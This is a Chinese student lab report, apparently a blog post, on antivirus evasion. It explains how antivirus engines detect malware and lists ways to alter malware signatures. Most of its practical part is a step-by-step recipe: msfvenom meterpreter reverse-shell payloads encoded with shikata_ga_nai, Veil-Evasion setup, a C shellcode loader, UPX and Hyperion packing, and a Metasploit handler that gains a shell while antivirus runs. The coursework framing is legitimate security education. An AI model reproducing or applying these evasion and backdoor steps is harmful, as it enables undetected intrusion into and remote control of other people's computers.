免杀原理

一、实验内容

1.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

2.通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验要求

  • 掌握免杀原理与技术
  • 基础问题回答

1. 杀软是如何检测出恶意代码的?

  • 基于特征码的检测
    简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。

  • 基于签名的检测技术
    基于签名的检测技术主要基于模式匹配的思想,为每种已知恶意代码产生一个唯一的签名特征标记来创建恶意代码库。这些签名包括很多不同的属性,如文件名、内容字符串或字节等,并且也从排除这些恶意代码所产生安全漏洞的角度来探讨保护系统安全。将未知代码的签名特征与恶意代码库进行对比,搜索恶意代码库查找时候存在相匹配的恶意代码签名,若有吻合,则判定为恶意代码;反之则判断为正常代码。这些签名由专家手工找出或通过自动方法生成,一个签名提取出来以标志一个特定恶意代码的特征性质。

  • 启发式恶意软件检测
    这种方法的思想是为病毒的特征设定一个阈值,扫描器分析文件时,当文件的总权值超出了设定值,就将其看作是恶意代码.这种方法主要的技术是要准确的定义类似病毒的特征,这依靠准确的模拟处理器。评定基于宏病毒的影响更是一个挑战,他们的结构和可能的执行流程比已经编译过的可执行文件更难预测。

  • 基于行为的恶意软件检测
    利用病毒的特有行为特征来监测病毒的方法,称为行为监测法。通过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。当程序运行时,监视其行为,如果发现了病毒行为,立即报警。缺点是误报率比较高、不能识别病毒名称及类型、实现时有一定难度。

2. 免杀是做什么?

免杀,即Anti-AntiVirus(简写Virus AV)。对恶意软件做处理使其不被杀毒软件所检测,是一种能使病毒木马避免被杀毒软件查杀的技术。

3.免杀的基本方法有哪些?

文件免杀方法:

  • 加冷门壳

  • 加花指令

  • 改程序入口点

改木马文件特征码的5种常用方法

(1)直接修改特征码的十六进制

修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制
适用范围:要精确定位特征码所对应的十六进制

(2)修改字符串大小写

修改方法:把特征码所对应的内容是字符串的,大小字互换
适用范围:特征码所对应的内容必须是字符串

(3)等价替换

修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令
适用范围:特征码中必需有可以替换的汇编指令,比如JN、JNE换成JMP等

(4)指令顺序调换

修改方法:把具有特征码的代码顺序互换一下
适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行

(5)通用跳转法

修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP跳回来执行
适用范围:无,是通用的

4.开启杀软能绝对防止电脑中恶意代码吗?

不能绝对防止。首先,不同的杀软效果好坏不同,一些低质量杀软无法防止复杂的恶意代码;其次,杀软检查到恶意代码是需要一定时间的,可能在检测到之前恶意代码就已经生效;最后,所谓“道高一尺,魔高一丈”,杀软不断发展着,恶意代码也不断进化着。除了使用杀软,提高警惕与安全意识、使用电脑时做好防护、不点击可疑链接等才能更高效地防止恶意代码。

三、实验过程

1.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

(1)使用工具对实验2中所生成的后门程序进行检验

通过使用VirusTotal或者Virscan等工具进行扫描,在VirusTotal工具中的扫描结果:68款杀毒软件有53款能够检测出此后门程序;在Virscan工具中的扫描结果:51款杀毒软件有18款能够检测出此后门程序。检测结果如下图所示:

(2)使用Metasploit的编码器尝试使后门程序能够免杀,首先,我们来了解一下Metasploit的编码器有哪些,使用如下命令查看Metasploit的编码器:

msfvenom --list encoders  

结果如下图:

(3)使用x86/shikata_ga_nai对后门程序进行一次编码,使用命令如下:

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.31.198 LPORT=2421 -f exe > msf192421.exe # 其中192.168.31.198为Windows反弹回连Kali的IP地址

再次使用工具VirusTotal和Virscan扫描后门程序,在VirusTotal工具中的扫描结果:68款杀毒软件有49款能够检测出此后门程序;在Virscan工具中的扫描结果:51款杀毒软件有16款能够检测出此后门程序。结果如下图:

可以发现只编码一次,对于程序免杀实现作用不大。

(4)使用x86/shikata_ga_nai对后门程序进行多次编码,再次生成新的exe文件

msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -20 -b '\x00' LHOST=192.168.31.198 LPORT=2421 -f exe > msf20192421.exe

-i是迭代次数,这里我们选择迭代20次
再次使用VirusTotal来检测生成的后门程序,如图所示,VirusTotal的检出率为49/69可以发现,进行20次编码对于实现免杀也没有什么作用。

(5)利用msf编码器生成其他类型的文件

以jar类型为例

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=2421 x > 20192421msf2.jar

再次使用VirusTotal来检测生成的后门程序,如图所示,VirusTotal的检出率为32/59。

以php类型为例

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=2421 x> 20192421msf3.php 

再次使用VirusTotal来检测生成的后门程序,如图所示,VirusTotal的检出率为21/57。

以py类型为例

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=2421 > 20192421msf4.py

再次使用VirusTotal来检测生成的后门程序,如图所示,VirusTotal的检出率为21/57

可以发现在更改了文件格式之后,检出率有所下降

(6)安装veil加壳工具

使用如下命令:

apt -y install veil # 执行此命令后稍作等待
vim /usr/share/veil/config/setup.sh

在260行处可以找到一个git clone https://github.com/Veil-Framework/VeilDependencies.git的命令,将命令中的Github链接修改为Gitee链接的地址https://gitee.com/githubren/VeilDependencies.git ,保存后再执行

/usr/share/veil/config/setup.sh --force --silent

安装之后的界面如下图:

(7)使用veil-evasion生成后门程序

输入命令 use evasion 进入Evil-Evasion

输入命令 use c/meterpreter/rev_tcp.py 进入配置界面

输入命令 set LHOST 192.168.56.101 设置反弹连接IP
输入命令 set LPORT 2420 设置端口
输入命令 options 查看配置


输入命令 generate 生成文件,接着输入文件名为 veil20192421

使用VirusTotal来检测生成的后门程序,如图所示,VirusTotal的检出率为40/69

(8)使用C+shellcode编程

输入命令

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.133 LPORT=2421 -f c

输入命令 vi 20192421shellcode1.c 新建文件,输入上图的代码

使用如下命令添加主函数

cat >>192426shellcode.c<<EOF
int main(){
	int (*func)() = (int(*)())buf;
	func();
}
EOF

输入命令 i686-w64-mingw32-g++ 20192421shellcode1.c -o 20192421shellcode1.exe 编译.c文件为可执行文件

使用VirusTotal来检测生成的后门程序,如图所示,VirusTotal的检出率为39/68

2.通过组合应用各种技术实现恶意代码免杀

(1)使用C + Shellcode技术生成C源代码文件,在生成命令中使用编码器x86/shikata_ga_nai进行20次编码,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.157.133 LPORT=2421 -f c > 20192421shellcode22.c

(2)添加主函数

 cat >>20192421shellcode22.c<<EOF
    int main(){
    	int (*func)() = (int(*)())buf;
    	func();
    }
    EOF

(3)输入命令:

i686-w64-mingw32-g++ 20192421shellcode22.c -o 20192421shellcode22.exe

(4)使用upx给程序加上一层压缩壳

 upx 20192421shellcode22.exe -o 20192421shellcode23.exe

(5)使用hyperion给程序加上一层加密壳

 wine /usr/share/windows-resources/hyperion/hyperion.exe -v 20192421shellcode23.exe 20192421shellcode24.exe

(6)将生成的可执行程序传到Windows上,使用杀毒软件进行扫描

结果如下,杀毒软件并未检验出该程序

3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

(1)在Kali上的终端输入命令msfconsole打开msf控制台,等待程序初始化完成后输入以下指令获取Windows的Shell

use exploit/multi/handler # 进入监听模块
# [*] Using configured payload generic/shell_reverse_tcp
set payload windows/meterpreter/reverse_tcp # 设置攻击载荷为64位Windows的反弹TCP连接
# payload => windows/meterpreter/reverse_tcp
set LHOST 192.168.56.112 # 设置Kali的IP地址,请与后门程序的LHOST参数保持一致
# LHOST => 192.168.56.112
set LPORT 8000 # 设置端口号,请与后门程序的LPORT参数保持一致
# LPORT => 8000
exploit
# [*] Started reverse TCP handler on 192.168.56.112:8000
# 当出现上面的提示时在Windows上打开后门程序

(2)在Windows上运行后门程序

结果如下图

成功获取到权限。

四、问题及解决方案

  • 问题1:veil最初安装出现了报错,导致veil安装无法顺利进行
  • 问题1解决方案:询问同学之后,发现可以通过换库链接方式来解决
  • 问题2:在加壳时,我的机器若先加载加密壳再加载压缩壳则无法出成果
  • 问题2解决方案:先加载压缩壳再加载加密壳则成功了,具体原因则不清楚

五、学习感悟、思考等

本次实践在安装veil上花费了较多时间,严重拖慢了进度,差点以为实验无法进行了。也在网上找了许多相关的解答帖子,加载了许多乱七八糟的东西,最后求助同学发现需要更改文件内容,改变其中库的链接即可。还是对于这方面的知识不够了解,需要多加学习。

参考资料

posted @ 2023-03-30 22:54  潜水的人2421  阅读(252)  评论(0编辑  收藏  举报
levels of contents